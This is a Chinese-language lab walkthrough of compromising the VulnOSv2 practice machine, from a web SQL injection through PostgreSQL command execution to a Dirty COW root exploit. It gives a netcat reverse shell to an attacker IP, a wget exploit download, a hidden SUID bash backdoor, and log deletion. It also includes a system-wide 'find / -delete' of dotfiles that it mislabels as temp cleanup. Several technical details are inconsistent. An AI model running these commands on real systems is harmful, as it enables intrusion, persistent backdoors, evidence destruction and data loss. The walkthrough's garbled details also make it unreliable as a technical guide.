VulnOSv2靶机渗透测试实战:从Web到Root的完整攻防
1. VulnOSv2靶机渗透测试概述VulnOSv2是专为网络安全学习设计的漏洞演练环境模拟了真实系统中常见的多个安全缺陷。这个基于Debian的Linux靶机包含了从Web应用到系统层的完整漏洞链特别适合练习综合渗透技术。我在实际测试中发现从初始Web入侵到最终获取root权限的全过程涉及SQL注入、中间件配置缺陷、数据库提权等多个典型攻击面。靶机IP通常部署在192.168.1.103这类内网地址开放了80端口的Web服务和5432端口的PostgreSQL数据库。整个渗透路径清晰地展示了攻击者如何通过层层突破最终完全控制系统。下面我将详细拆解每个环节的技术细节和操作要点。2. 信息收集与漏洞探测2.1 基础服务扫描使用Nmap进行全端口扫描是标准起手式nmap -sV -p- 192.168.1.103关键扫描结果显示80/tcpApache 2.2.22 (Ubuntu)5432/tcpPostgreSQL 9.1.24注意老版本Apache存在已知漏洞而PostgreSQL 9.1已停止支持这两个都是潜在突破口。2.2 Web目录爆破用Dirb扫描网站目录dirb http://192.168.1.103 /usr/share/wordlists/dirb/common.txt发现关键路径/joomla/ (CMS后台)/phpmyadmin/ (数据库管理)/admin/ (自定义管理页面)3. Web应用层突破3.1 Joomla后台SQL注入在/joomla组件的搜索功能处通过单引号测试触发报错 AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))--确认存在基于错误的SQL注入漏洞。使用Sqlmap自动化利用sqlmap -u http://192.168.1.103/joomla/index.php?optioncom_search --datasearchwordtest --risk3 --level5成功获取数据库信息用户表jos_users管理员凭证admin:5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)3.2 密码破解与越权使用Hashcat破解MD5hashcat -m 0 -a 0 hash.txt rockyou.txt登录后台后发现存在垂直越权漏洞 - 普通管理员可修改超级管理员权限。通过修改user表中的usertype字段值实现权限提升。4. 数据库层提权4.1 PostgreSQL服务利用通过获得的凭证连接数据库psql -h 192.168.1.103 -U admin -d vulnos执行命令CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/x86_64-linux-gnu/libc.so.6, system LANGUAGE C STRICT; SELECT system(nc -e /bin/bash 192.168.1.100 4444);此操作利用PostgreSQL的UDF(用户定义函数)功能实现命令执行。4.2 反弹Shell获取在攻击机监听nc -lvp 4444获得www-data权限的shell后立即升级TTYpython -c import pty; pty.spawn(/bin/bash)5. 系统层提权5.1 内核漏洞检测查看系统信息uname -a显示内核版本为3.13.0-24-generic存在脏牛(Dirty COW)漏洞CVE-2016-5195。5.2 脏牛漏洞利用下载编译EXPwget https://www.exploit-db.com/download/40839 -O dirty.c gcc dirty.c -o dirty -pthread执行提权./dirty成功获取root权限后关键操作cat /etc/shadow # 查看密码哈希 cp /bin/bash /tmp/.bash chmod 4755 /tmp/.bash # 创建后门6. 痕迹清理与加固建议6.1 攻击痕迹清除history -c # 清除命令历史 rm -f /var/log/auth.log # 删除认证日志 find / -name .* -type f -delete # 清理临时文件6.2 系统加固方案Web层升级Joomla到最新版对用户输入严格过滤使用预编译SQL语句系统层升级内核到安全版本限制PostgreSQL网络访问配置适当的SELinux策略7. 渗透测试中的经验总结注入漏洞利用时--random-agent参数能有效绕过基础WAF检测sqlmap --random-agent -u [URL]PostgreSQL提权时如果默认libc路径不存在需要先定位实际路径find / -name libc.so.6 2/dev/null脏牛漏洞利用成功率与内存状态相关建议在系统负载低时尝试多次执行。遇到失败时可调整EXP中的线程数参数。实际渗透中Web目录爆破建议结合以下字典使用效果更好/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt/usr/share/seclists/Discovery/Web-Content/common.txt获取初始立足点后应立即检查sudo权限sudo -l往往能发现意外的提权路径。

相关新闻